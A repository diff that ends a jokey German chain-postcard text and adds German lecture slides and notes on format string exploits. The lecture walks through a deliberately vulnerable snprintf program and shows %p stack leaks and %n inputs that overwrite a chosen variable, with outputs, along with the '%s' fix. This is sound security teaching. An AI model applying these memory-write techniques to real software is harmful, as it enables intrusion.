nur noch einmal 1,10 DM für die Briefmarke und 5 Pfennig für einen neuen Umschlag, sowie 0,3 Pfennig für die Tinte, mit der ich die Adresse geschrieben habe, berappt. Sämtliches kreatives Potential, daß du bis eben noch hättest bei mir annehmen können, würde also nicht bei mir liegen, sondern bei wem immer du diese Karte zuschreiben würdest. Und vielleicht bin ja ich, also der, dem du die Karte jetzt schickst, Originator, ich würde mich nicht freuen, gerade von dir diese Karte zurückzubekommen, ich würde nämlich wissen, daß du so blöde warst, dich kreativ zu fühlen, nur, weil du diese Karte weiter geschickt hast. Um dein Ego nun nicht vollends zu strapazieren, halte ich dir nochmal vor Augen, daß ich (oder der neue Absender) mindestens 1,153 DM oder maximal 3,905 DM investiert habe/hat, was wohl ein gewisses Interesse an deiner Unterhaltung oder im schlimmsten Fall an meiner Profilierung voraussetzt, nenne mir nur einen Grund, warum Ersteres zutreffen sollte! Die aufgeführten Investionsrahmenparameter sind aber auch nur Richtgrößen, da ich mindestens die Briefmarke und, wenn du erster Empfänger dieser Karte warst, auch noch die bunte Karte als Werbungskosten von der Steuer abgesetzt habe. Wieviel das ist, hängt letztenendes von meinem Einkomen ab, welches auch noch, um dich jetzt völlig einem Wechselbad der Gefühle preiszugeben, Einfluß darauf hat, welche ideelle Kosten zum alleinigen Preis der materiellen Komponenten dazukommen. Bei einem Stundenlohn von sagen wir 10 Mark kämen wir bei einer Minute Karte aussuchen, zwei Minuten Adresse auf den Umschlag schreiben, einer Minute Karte hineinstecken und 10 Sekunden Brief in den Briefkasten schieben (bei der Post mußte ich ja eh vorbei), auf einen Gegenwert von 52,7 Pfennig. Sollte ich den text nun wirklich selber geschrieben haben (6 Minuten), erhielten wir bei einem Stundenlohn von angenommen 20 Mark auf 1.38 Mark. Macht bisher im besten Fall 5.294 DM, 1.681 DM für den schlechtesten Fall ist aber wohl doch wahrscheinlicher, oder? Denn daß auf der Vorderseite nun ein Symbol positiver Gefühle bis hin zur Liebe prangt, soll kein Anzeichen ähnlicher Gefühle meinerseits dir gegenüber sein, die Existenz dieses Bildes rüht aus einem purem Umkehrschluß, der daraus besteht, daß es keine Karte ohne Bild gab und ich für ein häßliches Bild keine 2,75 DM ausgegeben hätte. Falls du nun aus der Tatsache, daß der Briefumschlag scheinbar liebevoll mit deiner Adresse versehen worden ist, ableitest, ich hätte positive Gefühle beim Ausfüllen der Adresse gehabt, sei versichert, ich schreibe immer so und wenn nicht, habe ich wohl gerade an jemanden anderes gedacht oder gerade Schönschreiben geübt oder mal meine Schablone dabeigehabt. Auch die Annahme, daß ich die Briefmarke angeleckt hätte und die daraus folgende Hoffnung, es können eine erotische Anspielung dahinter stecken, ist absurd. Ich habe auch keinen nassen Schwamm benutzt, was bei den Wasserpreisen heutzutage und dann gerade für einen Brief an dich ein Fopaz wäre. Nimm nun nicht auch noch an, ich würde mich befleißigen, dir darzulegen, wie ich die Briefmarke befestigt habe, lies gefälligst schnell weiter, um die Karte zu schonen, damit du sie eventuell noch weiterverschicken kannst! Solltest du auch noch die Idee haben, diese Karte kommerziell an Schreibwarenläden weiterzugeben, denke daran, daß es da irgendwo einen Urheber des Textes gab und er dich fürchterlich bestrafen wird, auch wenn es ihn ehren könnte, daß du den Text so gut fandest, ihn kommerziell vermarkten zu wollen, wenn es nicht gerade DU gewesen wärst. Aber wenn du die Karte schon in der x. Generation bekommen hättest, wäre es ein Gutes Zeichen dafür, aus der Karte mehr zu machen und vielleicht Geld daraus zu schinden. Was es dich kosten würde, weißt du ja jetzt. Ansonsten bliebe nur noch 1: Hab dich lieb! | ||
diff --git a/stories/poetry/MeinVortrag/01.html b/stories/poetry/MeinVortrag/01.html new file mode 100644 index 0000000..d476a90 --- /dev/null +++ b/stories/poetry/MeinVortrag/01.html | |||
@@ -0,0 +1,8 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="02.html">-></A><CENTER> | ||
3 | Format String Exploits | ||
4 | |||
5 | Christian Carstensen | ||
6 | Dirk Engling | ||
7 | Martin Schobert | ||
8 | </CENTER></PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/02.html b/stories/poetry/MeinVortrag/02.html new file mode 100644 index 0000000..14df688 --- /dev/null +++ b/stories/poetry/MeinVortrag/02.html | |||
@@ -0,0 +1,6 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="01.html"><-</A><A HREF="03.html">-></A> | ||
3 | syntax: | ||
4 | |||
5 | printf( char *format, param1, param2, ... ) | ||
6 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/03.html b/stories/poetry/MeinVortrag/03.html new file mode 100644 index 0000000..38f1bd1 --- /dev/null +++ b/stories/poetry/MeinVortrag/03.html | |||
@@ -0,0 +1,11 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="02.html"><-</A><A HREF="04.html">-></A> | ||
3 | int main( ) { | ||
4 | int a, b; | ||
5 | a = 7; | ||
6 | b = 9; | ||
7 | |||
8 | printf( "%d %d\n", a, b ); | ||
9 | return 0; | ||
10 | } | ||
11 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/04.html b/stories/poetry/MeinVortrag/04.html new file mode 100644 index 0000000..d28b181 --- /dev/null +++ b/stories/poetry/MeinVortrag/04.html | |||
@@ -0,0 +1,12 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="03.html"><-</A><A HREF="05.html">-></A> | ||
3 | .LC0: | ||
4 | .string "%d %d\n" | ||
5 | main: | ||
6 | [ ... ] | ||
7 | pushl $9 | ||
8 | pushl $7 | ||
9 | pushl $.LC0 | ||
10 | call printf | ||
11 | [ ... ] | ||
12 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/05.html b/stories/poetry/MeinVortrag/05.html new file mode 100644 index 0000000..e124667 --- /dev/null +++ b/stories/poetry/MeinVortrag/05.html | |||
@@ -0,0 +1,27 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="04.html"><-</A><A HREF="06.html">-></A> | ||
3 | int printing( const char *fmt, ...) { | ||
4 | va_list ap; | ||
5 | char output[1024]; | ||
6 | |||
7 | va_start(ap, fmt); | ||
8 | |||
9 | while( *fmt ) { | ||
10 | if( *fmt != '%' ) { | ||
11 | putc( *fmt++ ); | ||
12 | } else { /* Parameter substituieren */ | ||
13 | switch( *++fmt ) { | ||
14 | case 'd': | ||
15 | int a = va_arg( ap, int ); | ||
16 | /* Zahl a ausgeben */ | ||
17 | break; | ||
18 | case 's': | ||
19 | char *s = va_arg( ap, char *); | ||
20 | /* String ausgeben */ | ||
21 | .... | ||
22 | } | ||
23 | } | ||
24 | |||
25 | va_end(ap); | ||
26 | } | ||
27 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/06.html b/stories/poetry/MeinVortrag/06.html new file mode 100644 index 0000000..1c3fe8d --- /dev/null +++ b/stories/poetry/MeinVortrag/06.html | |||
@@ -0,0 +1,8 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="05.html"><-</A><A HREF="07.html">-></A> | ||
3 | #define va_start(ap, var) ((ap) = (va_list)&var) | ||
4 | |||
5 | #define va_arg(ap, type) *(((type *)ap)++) | ||
6 | |||
7 | #define va_end(ap) | ||
8 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/07.html b/stories/poetry/MeinVortrag/07.html new file mode 100644 index 0000000..6a4c25e --- /dev/null +++ b/stories/poetry/MeinVortrag/07.html | |||
@@ -0,0 +1,14 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="06.html"><-</A><A HREF="08.html">-></A> | ||
3 | int main( ) { | ||
4 | int a = 0x23232323; | ||
5 | |||
6 | printf( "%p %p %p %p %p %p %p %p %p %p %p %p\n"); | ||
7 | return 0; | ||
8 | } | ||
9 | |||
10 | Liefert einen output von: | ||
11 | |||
12 | 0x2804b963 0x1 0xbfbff738 0xbfbff740 0xbfbff738 0x0 | ||
13 | 0x2805f100 0xbfbff730 0x23232323 0xbfbff730 0x8048459 0x1 | ||
14 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/08.html b/stories/poetry/MeinVortrag/08.html new file mode 100644 index 0000000..35fc0e7 --- /dev/null +++ b/stories/poetry/MeinVortrag/08.html | |||
@@ -0,0 +1,16 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="07.html"><-</A><A HREF="09.html">-></A> | ||
3 | int main( ) { | ||
4 | int a; | ||
5 | |||
6 | printf ( "Ich bin 23 Zeichen lang%n\n", &a); | ||
7 | printf ( "Und printf hat's gezaehlt: %d", a); | ||
8 | |||
9 | return 0; | ||
10 | } | ||
11 | |||
12 | Liefert als Ausgabe: | ||
13 | |||
14 | Ich bin 23 Zeichen lang | ||
15 | Und printf hat's gezaehlt: 23 | ||
16 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/09.html b/stories/poetry/MeinVortrag/09.html new file mode 100644 index 0000000..53922cd --- /dev/null +++ b/stories/poetry/MeinVortrag/09.html | |||
@@ -0,0 +1,13 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="08.html"><-</A><A HREF="10.html">-></A> | ||
3 | in BASIC: | ||
4 | |||
5 | A = "Hallo" | ||
6 | PRINT A | ||
7 | |||
8 | in C: | ||
9 | |||
10 | char *a = "Hallo"; | ||
11 | printf( a ); | ||
12 | |||
13 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/10.html b/stories/poetry/MeinVortrag/10.html new file mode 100644 index 0000000..d336ae5 --- /dev/null +++ b/stories/poetry/MeinVortrag/10.html | |||
@@ -0,0 +1,10 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="09.html"><-</A><A HREF="11.html">-></A> | ||
3 | int main( int argc, char **argv ) { | ||
4 | char buffer[ 256 ]; | ||
5 | |||
6 | snprintf( buffer, sizeof buffer, argv[1] ); | ||
7 | |||
8 | return 0; | ||
9 | } | ||
10 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/11.html b/stories/poetry/MeinVortrag/11.html new file mode 100644 index 0000000..72c2ba5 --- /dev/null +++ b/stories/poetry/MeinVortrag/11.html | |||
@@ -0,0 +1,18 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="10.html"><-</A><A HREF="12.html">-></A> | ||
3 | int main( int argc, char **argv ) { | ||
4 | char buffer[ 256 ]; | ||
5 | |||
6 | /* !!!FALSCH!!! */ | ||
7 | #if 0 | ||
8 | snprintf( buffer, sizeof buffer, argv[1] ); | ||
9 | #endif | ||
10 | |||
11 | /* !!!RICHTIG!!! */ | ||
12 | #if 1 | ||
13 | snprintf( buffer, sizeof buffer, "%s", argv[1] ); | ||
14 | #endif | ||
15 | |||
16 | return 0; | ||
17 | } | ||
18 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/12.html b/stories/poetry/MeinVortrag/12.html new file mode 100644 index 0000000..7c87622 --- /dev/null +++ b/stories/poetry/MeinVortrag/12.html | |||
@@ -0,0 +1,17 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="11.html"><-</A><A HREF="13.html">-></A> | ||
3 | int main( int argc, char **argv ) { | ||
4 | int test = 0x23232323; | ||
5 | char buffer[ 256 ]; | ||
6 | |||
7 | printf( "test auf: %p\n", &test ); | ||
8 | printf( "test enthaelt: %x\n\n", test); | ||
9 | |||
10 | snprintf( buffer, sizeof buffer, argv[1] ); | ||
11 | |||
12 | printf( "%s\n", buffer); | ||
13 | printf( "test enthaelt: %x\n\n", test); | ||
14 | |||
15 | return 0; | ||
16 | } | ||
17 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/13.html b/stories/poetry/MeinVortrag/13.html new file mode 100644 index 0000000..6137794 --- /dev/null +++ b/stories/poetry/MeinVortrag/13.html | |||
@@ -0,0 +1,24 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="12.html"><-</A><A HREF="14.html">-></A> | ||
3 | int main( int argc, char **argv ) { | ||
4 | int test = 0x23232323; | ||
5 | char buffer[ 256 ]; | ||
6 | |||
7 | printf( "test auf: %p\n", &test ); | ||
8 | printf( "test enthaelt: %x\n\n", test); | ||
9 | |||
10 | snprintf( buffer, sizeof buffer, argv[1] ); | ||
11 | |||
12 | printf( "%s\n", buffer); | ||
13 | printf( "test enthaelt: %x\n\n", test); | ||
14 | |||
15 | return 0; | ||
16 | } | ||
17 | |||
18 | # ./vuln Probierung | ||
19 | test auf: 0xbfbff6d4 | ||
20 | test enthaelt: 0x23232323 | ||
21 | |||
22 | Probierung | ||
23 | test enthaelt: 0x23232323 | ||
24 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/14.html b/stories/poetry/MeinVortrag/14.html new file mode 100644 index 0000000..63acc3e --- /dev/null +++ b/stories/poetry/MeinVortrag/14.html | |||
@@ -0,0 +1,25 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="13.html"><-</A><A HREF="15.html">-></A> | ||
3 | int main( int argc, char **argv ) { | ||
4 | int test = 0x23232323; | ||
5 | char buffer[ 256 ]; | ||
6 | |||
7 | printf( "test auf: %p\n", &test ); | ||
8 | printf( "test enthaelt: %x\n\n", test); | ||
9 | |||
10 | snprintf( buffer, sizeof buffer, argv[1] ); | ||
11 | |||
12 | printf( "%s\n", buffer); | ||
13 | printf( "test enthaelt: %x\n\n", test); | ||
14 | |||
15 | return 0; | ||
16 | } | ||
17 | |||
18 | # ./vuln "AAAA%p %p %p %p %p %p %p %p %p" | ||
19 | test auf: 0xbfbff6c0 | ||
20 | test enthaelt: 0x23232323 | ||
21 | |||
22 | AAAA0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04 | ||
23 | 0x2805a3a8 0x41414141 0x62317830 0x64356666 | ||
24 | test enthaelt: 0x23232323 | ||
25 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/15.html b/stories/poetry/MeinVortrag/15.html new file mode 100644 index 0000000..e132623 --- /dev/null +++ b/stories/poetry/MeinVortrag/15.html | |||
@@ -0,0 +1,23 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="14.html"><-</A><A HREF="16.html">-></A> | ||
3 | int main( int argc, char **argv ) { | ||
4 | int test = 0x23232323; | ||
5 | char buffer[ 256 ]; | ||
6 | |||
7 | printf( "test auf: %p\n", &test ); | ||
8 | printf( "test enthaelt: %x\n\n", test); | ||
9 | |||
10 | snprintf( buffer, sizeof buffer, argv[1] ); | ||
11 | |||
12 | printf( "%s\n", buffer); | ||
13 | printf( "test enthaelt: %x\n\n", test); | ||
14 | |||
15 | return 0; | ||
16 | } | ||
17 | |||
18 | # ./vuln "AAAA%p %p %p %p %p %p%n %p %p" | ||
19 | test auf: 0xbfbff6c0 | ||
20 | test enthaelt: 0x23232323 | ||
21 | |||
22 | Segmentation fault (core dumped) | ||
23 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/16.html b/stories/poetry/MeinVortrag/16.html new file mode 100644 index 0000000..0644083 --- /dev/null +++ b/stories/poetry/MeinVortrag/16.html | |||
@@ -0,0 +1,25 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="15.html"><-</A><A HREF="17.html">-></A> | ||
3 | int main( int argc, char **argv ) { | ||
4 | int test = 0x23232323; | ||
5 | char buffer[ 256 ]; | ||
6 | |||
7 | printf( "test auf: %p\n", &test ); | ||
8 | printf( "test enthaelt: %x\n\n", test); | ||
9 | |||
10 | snprintf( buffer, sizeof buffer, argv[1] ); | ||
11 | |||
12 | printf( "%s\n", buffer); | ||
13 | printf( "test enthaelt: %x\n\n", test); | ||
14 | |||
15 | return 0; | ||
16 | } | ||
17 | |||
18 | # ./vuln "%p %p %p %p %p %p%n %p %p" | ||
19 | test auf: 0xbfbff6c0 | ||
20 | test enthaelt: 0x2323232323 | ||
21 | |||
22 | 0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 | ||
23 | 0x68acf04 0x2805a3a8 0x62317830 0x64356666 | ||
24 | test enthaelt: 0x42 | ||
25 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/17.html b/stories/poetry/MeinVortrag/17.html new file mode 100644 index 0000000..6a32312 --- /dev/null +++ b/stories/poetry/MeinVortrag/17.html | |||
@@ -0,0 +1,26 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="16.html"><-</A><A HREF="18.html">-></A> | ||
3 | # ./vuln "%p %p %p %p %p %p%n %p %p" | ||
4 | test auf: 0xbfbff6c0 | ||
5 | test enthaelt: 0x2323232323 | ||
6 | |||
7 | 0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 | ||
8 | 0x68acf04 0x2805a3a8 0x62317830 0x64356666 | ||
9 | test enthaelt: 0x42 | ||
10 | ======================================================= | ||
11 | # ./vuln "%8p%8p%8p%8p%8p%8p%n%p%p " | ||
12 | |||
13 | test auf: 0xbfbff6c0 | ||
14 | test enthaelt: 0x23232323 | ||
15 | |||
16 | 0x1bff5d80xbfbff61c0x2804d7990x80483370x68acf04\ | ||
17 | 0x2805a3a80x623178300x64356666 | ||
18 | test enthaelt: 0x3D | ||
19 | ======================================================= | ||
20 | # ./vuln "%8p%8p%8p%8p%111638553p%999999999p%n " | ||
21 | test auf: 0xbfbff6b0 | ||
22 | test enthaelt: 0x23232323 | ||
23 | |||
24 | 0x1bff5c80xbfbff60c0x2804d7990x8048337 | ||
25 | test enthaelt: 0x42424242 | ||
26 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/18.html b/stories/poetry/MeinVortrag/18.html new file mode 100644 index 0000000..4c50a98 --- /dev/null +++ b/stories/poetry/MeinVortrag/18.html | |||
@@ -0,0 +1,20 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="17.html"><-</A><A HREF="19.html">-></A> | ||
3 | |||
4 | |||
5 | |||
6 | |||
7 | |||
8 | |||
9 | |||
10 | |||
11 | |||
12 | "/../../../../../../../../../bin/sh" | ||
13 | |||
14 | |||
15 | |||
16 | |||
17 | |||
18 | |||
19 | |||
20 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/19.html b/stories/poetry/MeinVortrag/19.html new file mode 100644 index 0000000..3261117 --- /dev/null +++ b/stories/poetry/MeinVortrag/19.html | |||
@@ -0,0 +1,14 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="1.html"><-</A><A HREF="1.html">-></A> | ||
3 | |||
4 | |||
5 | |||
6 | |||
7 | That's all folks... | ||
8 | |||
9 | links: | ||
10 | |||
11 | http://community.core-sdi.com/~juliano/ | ||
12 | http://www.phrack.org/show.php?p=49&a=14 | ||
13 | |||
14 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/Vortrag-FormatStrings b/stories/poetry/MeinVortrag/Vortrag-FormatStrings new file mode 100644 index 0000000..7d6b591 --- /dev/null +++ b/stories/poetry/MeinVortrag/Vortrag-FormatStrings | |||
@@ -0,0 +1,367 @@ | |||
1 | Format String Exploits: | ||
2 | |||
3 | Heisst grundsaetzlich, die Eigenschaft der | ||
4 | f/s(n)printf/scanf - Funktionsfamilie | ||
5 | auszunutzen, dass sie eine va_args-liste | ||
6 | zum Uebergeben der Parameter und einen | ||
7 | String zum Beschreiben der Anzahl und Art | ||
8 | der Parameter benutzt. | ||
9 | |||
10 | syntax: | ||
11 | |||
12 | printf( char *format, param1, param2, ... ) | ||
13 | |||
14 | Wenn man einen C-Kurs mitmacht, wird einem | ||
15 | vermittelt, dass man in den Formatstring | ||
16 | eintragen soll, welche Paramater die printf | ||
17 | Funktion bekommen wird und wenn es | ||
18 | Inkonsistenzen zwischen dem Formatstring und | ||
19 | den Paramtern gibt, stuerzt das Programm ab. | ||
20 | Und genau an der Stelle beginnt der spannende | ||
21 | Part: wenn ein Programm abstuerzt, | ||
22 | wurde sicher Speicher der Applikation ueber- | ||
23 | schrieben und Ziel des Spiels ist es nun, zu | ||
24 | versuchen, gezielt Speicher mit uns geneigten | ||
25 | Werten zu ueberschreiben. Und unter uns: sooo | ||
26 | schnell schiesst man ein Programm nicht ab :) | ||
27 | Also schauen wir uns mal einen validen Aufruf | ||
28 | der Funktion an: | ||
29 | |||
30 | int main( ) { | ||
31 | int a, b; | ||
32 | a = 7; | ||
33 | b = 9; | ||
34 | |||
35 | printf( "%d %d\n", a, b ); | ||
36 | return 0; | ||
37 | } | ||
38 | |||
39 | In optimiertem Assembler sieht das so aus: | ||
40 | |||
41 | .LC0: | ||
42 | .string "%d %d\n" | ||
43 | main: | ||
44 | [ ... ] | ||
45 | pushl $9 | ||
46 | pushl $7 | ||
47 | pushl $.LC0 | ||
48 | call printf | ||
49 | [ ... ] | ||
50 | |||
51 | Dort steht, dass erst b und a auf den Stack | ||
52 | geschoben werden, danach die Adresse des | ||
53 | Formatstrings und schliesslich printf aufgerufen | ||
54 | wird. | ||
55 | |||
56 | In C ist es generell nicht der Fall, dass | ||
57 | Funktionen ueber die Parameter informiert werden, | ||
58 | die sie auf dem Stack erhalten, das geben sie | ||
59 | naemlich beim Compilen an und erwarten dann auf | ||
60 | dem Stack auch genau diese Parameter vorzufinden. | ||
61 | |||
62 | Einzige Ausnahme bildet ein Konstrukt namens | ||
63 | va. Das bedeutet "Varibale Argumentenliste". Die | ||
64 | Funktion printf arbeitet dann auch wie folgt: | ||
65 | |||
66 | int printing( const char *fmt, ...) { | ||
67 | va_list ap; | ||
68 | char output[1024]; | ||
69 | |||
70 | va_start(ap, fmt); | ||
71 | |||
72 | while( *fmt ) { | ||
73 | if( *fmt != '%' ) { | ||
74 | putc( *fmt++ ); | ||
75 | } else { /* Parameter substituieren */ | ||
76 | switch( *++fmt ) { | ||
77 | case 'd': | ||
78 | int a = va_arg( ap, int ); | ||
79 | /* Zahl a ausgeben */ | ||
80 | break; | ||
81 | case 's': | ||
82 | char *s = va_arg( ap, char *); | ||
83 | /* String ausgeben */ | ||
84 | .... | ||
85 | } | ||
86 | } | ||
87 | |||
88 | va_end(ap); | ||
89 | } | ||
90 | |||
91 | Hinter der ganzen vargs Magie verbergen sich aber | ||
92 | nur diese drei (jetzt mal von mir leicht | ||
93 | vereinfachten) Makros: | ||
94 | |||
95 | #define va_start(ap, var) ((ap) = (va_list)&var) | ||
96 | |||
97 | #define va_arg(ap, type) *(((type *)ap++)) | ||
98 | |||
99 | #define va_end(ap) | ||
100 | |||
101 | In Wirklichkeit wird da noch ein wenig am Alignment | ||
102 | der Variablen geschraubt, aber im Groben stellt dies | ||
103 | schon dar, wie variable Argumentlisten behandelt | ||
104 | werden: printf holt einfach vom Stack ab, egal, ob da | ||
105 | was drauf steht, oder nicht. | ||
106 | |||
107 | Was drauf stehen tut aber immer, naemlich Ruecksprung- | ||
108 | adressen und der Stack der aufrufenden Funktionen. | ||
109 | Und das koennen wir uns mal angucken: | ||
110 | |||
111 | int main( ) { | ||
112 | int a = 0x23232323; | ||
113 | |||
114 | printf( "%p %p %p %p %p %p %p %p %p %p %p %p\n"); | ||
115 | return 0; | ||
116 | } | ||
117 | Liefert einen output von: | ||
118 | |||
119 | 0x2804b963 0x1 0xbfbff738 0xbfbff740 0xbfbff738 0x0 0x2805f100 0xbfbff730 0x23232323 0xbfbff730 0x8048459 0x1 | ||
120 | |||
121 | Und gugge da: wir erkennen doch da glatt unser | ||
122 | nicht ganz zufaellig gewaehltes a wieder. | ||
123 | |||
124 | %p ist der Bezeichner fuer einen ganz normalen | ||
125 | pointer, also 4 bytes, die vom Stack geholt | ||
126 | und in der 0xn Notation angezeigt werden. | ||
127 | |||
128 | Aber printf kann mehr: | ||
129 | |||
130 | int a; | ||
131 | |||
132 | printf ( "Ich bin 23 Zeichen lang%n\n", &a); | ||
133 | printf ( "Und printf hat's gezaehlt: %d", a); | ||
134 | |||
135 | Liefert als Ausgabe: | ||
136 | |||
137 | Ich bin 23 Zeichen lang | ||
138 | Und printf hat's gezaehlt: 23 | ||
139 | |||
140 | Was ist passiert? Printf erwartet bei einem %n, dass | ||
141 | auf dem Stack der Zeiger auf ein int liegt, in das | ||
142 | er die Anzahl der in diesem Funktionsaufruf | ||
143 | ausgegebnen Zeichen schreibt. Nicht auszumalen, was | ||
144 | passiert, wenn auf dem Stack gar keine solide Adresse | ||
145 | liegt :) | ||
146 | |||
147 | Printf bietet uns also einen ganz soliden Weg, den | ||
148 | Stack zu inspizieren und aktiv Speicher zu veraendern. | ||
149 | Bliebe die Frage, warum sollte uns ein Programm den | ||
150 | Weg ebnen, den Formatstring selbst zu waehlen. Da gibt | ||
151 | es zwei Erklaerungen: | ||
152 | 1. bieten einige Programme fuer formatierte Textausgabe | ||
153 | dem Benutzer an, selber Formatstrings anzugeben. | ||
154 | Dies ist aber nicht so spannend, da der String | ||
155 | meist sehr genau geprueft wird, allerdings gibt es | ||
156 | einen exploit fuer den Mail-Reader mutt, der genau | ||
157 | ueber einen solchen Formatierungsstring anfaellig | ||
158 | war | ||
159 | 2. Ist es dem printf egal, ob man ihm nun wirklich einen | ||
160 | Zeiger auf den Formatstring gegeben hat, oder den | ||
161 | Zeiger auf IRGENDEINEN String, der ausgegeben werden | ||
162 | soll. Typischer BASIC Programmierstil ist: | ||
163 | |||
164 | A = "Hallo" | ||
165 | PRINT A | ||
166 | |||
167 | in C: | ||
168 | |||
169 | char *a = "Hallo"; | ||
170 | printf( a ); | ||
171 | |||
172 | funktioniert auch hervorragend, solange der String | ||
173 | a keine printf - control characters, naemlich "%"'s | ||
174 | enthaelt. | ||
175 | |||
176 | Genug der Theorie, in der Praxis sieht sowas dann ganz | ||
177 | schlicht so aus: | ||
178 | |||
179 | int main( int argc, char **argv ) { | ||
180 | char buffer[ 256 ]; | ||
181 | |||
182 | snprintf( buffer, sizeof buffer, argv[1] ); | ||
183 | |||
184 | return 0; | ||
185 | } | ||
186 | |||
187 | Man beachte, dass der Programmierer sich grosse Muehe | ||
188 | gegeben hat, buffer-overflows zu vermeiden, indem er | ||
189 | sichere Variante von sprintf, das snprintf benutzt hat, | ||
190 | damit auch wirklich maximal 32 bytes in den Buffer | ||
191 | gelangen. Allerdings hat er beim String, der geschrieben | ||
192 | werden soll, geschlampt: die Zeile muesste richtig lauten | ||
193 | |||
194 | snprintf( buffer, sizeof buffer, "%s", argv[1] ); | ||
195 | |||
196 | Nun, was tut dieses Funktion? Schreibt in den Buffer mit | ||
197 | maximal 32 Zeichen den String argv[1], also das erste | ||
198 | Kommandozeilenargument der Funktion. Aber tut es das auch | ||
199 | wirklich? Nur, wie gesagt, solange im String keine '%' | ||
200 | stehen, aber solche Zeichen in die Kommandozeile einzu- | ||
201 | tippern kriegen wir doch noch hin :) | ||
202 | |||
203 | Es gibt noch das kleine Problem, dass der Printf halt in | ||
204 | einen Buffer und nicht auf den Screen schreibt, das laesst | ||
205 | sich aber leicht loesen, indem wir entweder einen Debugger | ||
206 | benutzen, um den Inhalt des Buffers auszulesen, oder ein- | ||
207 | fach wieder printf dafuer benutzen, sieht dann so aus: | ||
208 | |||
209 | int main( int argc, char **argv ) { | ||
210 | int test = 0x23232323; | ||
211 | char buffer[ 256 ]; | ||
212 | |||
213 | printf( "test auf: %p\n", &test ); | ||
214 | printf( "test enthaelt: %x\n\n", test); | ||
215 | |||
216 | snprintf( buffer, sizeof buffer, argv[1] ); | ||
217 | |||
218 | printf( "%s\n", buffer); | ||
219 | printf( "test enthaelt: %x\n\n", test); | ||
220 | |||
221 | return 0; | ||
222 | } | ||
223 | |||
224 | Ich habe nun noch eine Variable eingefuegt, an der wir | ||
225 | ein wenig rumspielen wollen: Dessen Adresse wuerde man | ||
226 | wieder mit einem debugger herausfinden, hier benutz ich | ||
227 | printf, auch den aktuellen Wert geb ich einmal vor und | ||
228 | einmal nach der "Attacke" aus. | ||
229 | Das compilete Programm wirft mir folgendes raus: | ||
230 | |||
231 | # ./vuln Probierung | ||
232 | test auf: 0xbfbff6d4 | ||
233 | test enthaelt: 0x23232323 | ||
234 | |||
235 | Probierung | ||
236 | test enthaelt: 0x23232323 | ||
237 | |||
238 | Nuescht besonderes. Probieren wir nun mal ein bisschen | ||
239 | mit den Formatstrings rum: | ||
240 | |||
241 | # ./vuln "AAAA%p %p %p %p %p %p %p %p %p" | ||
242 | test auf: 0xbfbff6c0 | ||
243 | test enthaelt: 0x23232323 | ||
244 | |||
245 | AAAA0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04 0x2805a3a8 0x41414141 0x62317830 0x64356666 | ||
246 | test enthaelt: 0x23232323 | ||
247 | |||
248 | Als erstes sehen wir, dass sich die Adressse von test | ||
249 | (das sich ja im Stack befindet) variiert. Das liegt | ||
250 | daran, dass die Kommandozeilenparameter im Stack abgelegt | ||
251 | werden. Wir koennen aber mit Anfuerungszeichen und vielen | ||
252 | Spaces ueber die gesamte Testphase fuer einen konstanten | ||
253 | offset sorgen. | ||
